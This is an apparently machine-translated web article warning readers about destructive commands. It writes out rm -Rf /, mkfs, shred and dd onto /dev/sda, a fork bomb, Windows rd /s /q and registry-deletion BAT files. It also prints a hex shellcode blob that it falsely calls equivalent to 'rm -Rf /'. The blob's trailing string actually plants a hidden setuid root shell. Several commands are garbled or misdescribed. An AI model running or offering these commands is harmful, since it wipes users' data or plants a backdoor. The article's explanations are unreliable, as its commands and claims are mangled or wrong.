Clicking on a button or icon whose function you do not know can be quite dangerous. But if we talk about text commands entered in the terminal, the thing can be just as serious (or more).
The text commands listed below can have destructive effects on your system if you use them with administrator rights . So watch out for experiments:
rm -Rf / (Linux, BSD, Mac)
There is a typical example when it comes to talking about dangerous Linux commands ... and its fame is certainly justified: it proceeds to delete each and every one of the directories on our hard drive starting from the root directory (/). It is as follows:
rm -Rf /
That is, it erases everything. To avoid this, several distributions have an 'alias' configured by default which, when starting "rm", we are actually accessing "rm -i", so Bash will ask us for confirmation that we really want to delete.
It has a variant that "only" deletes our user folder, along with all the configuration files that reside there: "rm –rf ~".
mkfs.ext4 / dev / sda (Linux, BSD, Mac)
If we are using an EXT4 file system, the following command is not very different from the typical DOS / Windows 'format C:'. Format, period:
mkfs.ext4 /dev/sda
But, instead of formatting the entire file hierarchy, like above, it focuses on a specific media drive (it can be / dev / sda or another).
shred / dev / sda (Linux, BSD, Mac)
The above commands are dangerous, yes. But, at least, once executed, it allows you to use file recovery tools with a high probability of success.
However, another much less known command can erase all the files on a hard drive without a possible solution :
shred /dev/sda
Shred is a tool that does not erase: it destroys. That is, it does not limit itself to eliminating a file from the file table, but it overwrites the physical space it occupies dozens of times, making it totally impossible to recover.
dd if = / dev / random of = / dev / sda (Linux, BSD, Mac)
DD is a tool that is often used to clone disks and thus create backup copies. But, used creatively, it can cause us to have to resort to them. Like in this example:
dd if=/dev/random of=/dev/sda
'dev / random' is the name of a virtual device that Unix uses as a random number generator. The command at hand does nothing but copy the 'content' of said 'device' on our primary hard drive ... so that its effect will be the same as if we used 'shred / dev / sda', although much slower.
mv / / dev / null (Linux, BSD, Mac)
Virtual devices are loaded by the Devil, it seems. And is that 'dev / random' is not the only one of that type that can give us headaches. Pay attention to the following command:
mv / /dev/null
This command moves (we insist: it does not 'copy'. It moves) the content of '/' (that is, all the system content) to the virtual device '/ dev / null'. The problem is that / dev / null is Nothingness, a kind of black hole in which every bit we throw is lost, never to return. Do you see the problem now?
Commands in hexadecimal (Linux, BSD, Mac)
It is possible to convert a command (any) written in normal text mode to hexadecimal format, which prevents us from being able to read it (or, rather, understand it). However, if we tell the system to convert and execute the hexadecimal character string, it will be as if we were directly executing the original command. Thus, there is no difference between typing 'rm -Rf /' and the following:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
rd / s / q / C: \ (Windows)
Here's a command for Windows that is basically equivalent to 'rm -Rf' from Linux , Mac, and co:
rd/s/q/ C:\
Although with a difference: it will only erase the data of a specific logical drive (in the example, C :), but not of the entire system. The difference, of course, will only be relevant if we have more than one unit in the system.
: () {: |: &} ;: (Linux, BSD, Mac)
Fortunately, the above commands are relatively easy to read: as soon as you know something about Unix or just English, you can frown and think "Hey, wait a minute ...". But what if a command doesn't look like a command?
Let's look at the following example:
:(){ :|:& };:
We are facing the 'Fork bomb' command, whose function is to define and execute a function that recursively calls itself infinitely. It does nothing ... except run so many times that it ends up running out of available memory and forcing us to reboot the device.
Blue Screen of Death Command (Windows)
Do you miss the old blue screens of death that were so characteristic of the Windows user experience? Relax, with the following command and you can guarantee yourself a free nostalgia session :
@echo off
delete %systemdrive%*.* /f /s
Fortunately for you, copying and pasting in the 'cmd' is not enough: you have to save both lines as a text file with a .BAT extension, equivalent to Linux's .SH.
Clearing the Registry (Windows)
Another set of commands that must be executed one after the other using a BAT file:
@echo off
START reg delete HKC/.EXE
START reg delete HKCR.dll
START reg delete HKCR/*
0 Comments